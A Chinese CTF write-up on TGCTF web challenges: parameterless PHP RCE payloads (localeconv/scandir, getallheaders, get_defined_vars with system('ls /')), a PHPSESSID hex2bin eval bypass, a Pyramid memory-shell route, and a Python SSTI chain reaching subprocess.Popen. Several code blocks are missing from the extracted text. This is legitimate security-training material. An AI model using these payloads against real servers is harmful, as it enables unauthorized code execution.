Web
无参RCE/PHPSESSID绕过
无参RCE
TGCTF中并非是标准的无参RCE,但还是可以通过无参RCE来做,不过预期考点是PHPSESSID绕过
经典的无参RCE像这样:
|
|
正则表达式递归匹配函数中的参数,使我们无法传参,所以我们需要只使用函数来达到获取flag的目的
无参RCE本质是程序中错误地使用了命令执行函数如 eval() 且采用了存在绕过隐患的黑名单匹配用户输入,考察的点是对PHP中函数特性的利用
下面整理一些可以被利用的函数:
|
|
比如:
scandir(‘.’) 可以返回当前目录,但是正则匹配了我们的参数,导致我们无法传参。所以我们需要想办法构造一个” . “ ,这时候我们就可以利用 localeconv() ,因为它返回的第一个元素就是 “ . “ ( 关于为什么 localeconv() 返回的第一个元素是 . 可以看这里:PHP localeconv() 函数 )
这时候我们就可以得到一个查看当前目录文件的Payload:
?参数=var_dump(scandir(current(localeconv())));
这里 current() 的作用是把 localeconv() 返回的点取出 (原理看这里:PHP current() 函数 )
根据flag文件的位置不同,我们可以搭配 next() 或 prev() 和 array_reverse() 一起使用
比如:
我们使用 ?参数=var_dump(scandir(current(localeconv()))); 看到当前目录是这样的:
|
|
我们看到 flag.php 在倒数第二个,比较靠后的位置,这时候我们就可以用 array_reverse() 将数组内容反转,让它从倒数第二变成正数第二:
|
|
然后我们就可以使用 next() 使内部指针指向第二个元素(即flag.php)并将其输出,最后我们可以用 highlight_file() 返回文件内容
相关的方法:
|
|
常见Payload:
|
|
以上是如何读取flag ,接下来我们来看看如何命令执行:
使用session_id() 来RCE的也算在这里面,但这个我们单拎出来放后面
getallheaders()
getallheaders()返回当前请求的所有请求头信息,局限于Apache( apache_request_headers()和getallheaders()功能相似,可互相替代,不过也是局限于Apache )
当我们确定服务器使用Apache时,我们可以尝试使用 getallheaders() 函数来查看请求头信息,如果成功回显,我们就可以在请求头最后写入恶意代码,然后利用end() 来执行
例如:我们写入 phpinfo();
var_dump(end(getallheaders()));
end()指向最后一行的代码,达到phpinfo的目的,然后可以进一步去rce。
get_defined_vars()
get_defined_vars() 函数返回由所有已定义变量所组成的数组。它可以回显全局变量 $_GET、$_POST、$_FILES、$_COOKIE,
返回数组顺序为$_GET-->$_POST-->$_COOKIE-->$_FILES
同样首先确认是否有回显:
print_r(get_defined_vars());
我们可以在后面拼接一个恶意代码:
a=eval(end(current(get_defined_vars())));&b=system(‘ls /‘); // a是原有的参数 //把eval换成assert也行 ,能执行system(‘ls /‘)就行
执行逻辑:
1. 参数传递
用户发送的 GET 请求参数:
|
|
- 参数
a的值为字符串eval(end(current(get_defined_vars())))。 - 参数
b的值为字符串system('ls /')。
2. 执行 eval($_GET['a'])
PHP 脚本调用 eval($_GET['a']),将参数 a 的值作为 PHP 代码执行:
|
|
3. 内层 eval 的执行流程
拆解内层 eval 的参数 end(current(get_defined_vars())):
-
步骤 3.1:
get_defined_vars()返回当前作用域的所有已定义变量(包括超全局变量$_GET、$_SERVER等)。 返回的数组结构类似:1 2 3 4 5 6 7 8 9php array( '_GET' => array( 'a' => 'eval(end(current(get_defined_vars())))', 'b' => 'system(\'ls /\')' ), // 其他变量如 $_SERVER、$_POST 等 // 脚本中可能定义的其他变量 ); -
步骤 3.2:
current(get_defined_vars())取get_defined_vars()返回数组的第一个元素的值。假设第一个元素是$_GET,则返回$_GET数组:1 2php array('a' => '...', 'b' => '...'); -
步骤 3.3:
end(current(get_defined_vars()))将$_GET数组的内部指针移动到最后一个元素,并返回该元素的值。假设参数b是最后一个元素,则返回system('ls /')。 -
步骤 3.4:外层
eval执行结果 最终执行eval("system('ls /')"),即调用system('ls /'),执行 Linux 命令ls /,列出根目录内容。
PHPSESSID绕过
当请求头中有cookie时,( 或者走投无路时,我们可以尝试添加cookie )这时候我们就可以考虑使用PHPSESSID绕过
hex2bin()
hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。所以我们可以将恶意代码转换成十六进制,然后在写入cookie中,从而达到执行命令的目的
例:
phpinfo();的十六进制编码,即706870696e666f28293b
传入Payload:
?参数=eval(hex2bin(session_id(session_start())));
然后在cookie中写入:
cookie: PHPSESSID=706870696e666f28293b
TGCTF中的预期解就是这样:
|
|
参考:
内存马,pyramid 框架内存马
内存马
这个后面另外详细写一篇进行整理
pyramid 框架内存马
这道题中我们注意到:
|
|
这一部分完全没有过滤用户输入,所以我们可以很轻松地传递 expr 来写入内存马
我们这样注入:
|
|
后面访问 shell 路由来RCE就行
这道题中的内存马比较好写,完全没有过滤,Pyramid又允许在运行时动态修改路由配置,所以我们直接往进加后门路由就好了
SSTI,类继承利用
Payload:
|
|
用AI解释一下:
这个代码片段是一个典型的 Python SSTI(Server-Side Template Injection)攻击 Payload,通过滥用 Python 的反射和继承机制来执行任意系统命令。以下是其详细解释和工作原理分析:
代码结构拆解
|
|
逐层解析
[](空列表)
- 创建一个空列表对象,作为后续操作的起点。
.__class__
-
获取列表对象的类(即
1list类):
1 2python list_class = [].__class__ # 等价于 list
.__mro__
-
1__mro__是一个元组,表示类的
方法解析顺序
(Method Resolution Order)。对于
1list类,其继承链为:
1 2plaintext list → object因此:
1 2python mro_tuple = list_class.__mro__ # 输出:(list, object)
[1](取第二个元素)
-
取
1__mro__的第二个元素(即
1object类):
1 2python object_class = mro_tuple[1] # 等价于 object
.__subclasses__()
-
1object类的
1__subclasses__()方法返回
所有直接子类的列表
。这些子类包括 Python 内置的许多类,例如:
-
type(元类) -
int,str,list,dict等基本类型 -
subprocess.Popen(关键点!) -
其他系统级类
1 2python subclasses = object_class.__subclasses__()
-
[351](索引 351)
-
通过索引
1351定位到
1subprocess.Popen类:
1 2python Popen_class = subclasses[351]- 关键点:索引
351是根据特定 Python 版本和环境确定的。例如,在 Python 3.8 中,subprocess.Popen的索引可能为351,但不同版本或环境可能不同。
- 关键点:索引
- 调用
Popen构造函数
-
使用
1Popen类创建进程对象,执行命令:
1 2python process = Popen_class('cat flag', shell=True, stdout=-1)'cat flag':要执行的系统命令。shell=True:允许通过 shell 执行命令(危险!)。stdout=-1:等同于stdout=subprocess.PIPE,捕获标准输出。
.communicate()
-
等待进程完成,并返回
1(stdout_data, stderr_data)元组:
1 2python output_tuple = process.communicate()
[0].strip()
-
获取标准输出(
1stdout_data)并去除首尾空白字符:
1 2python result = output_tuple[0].strip()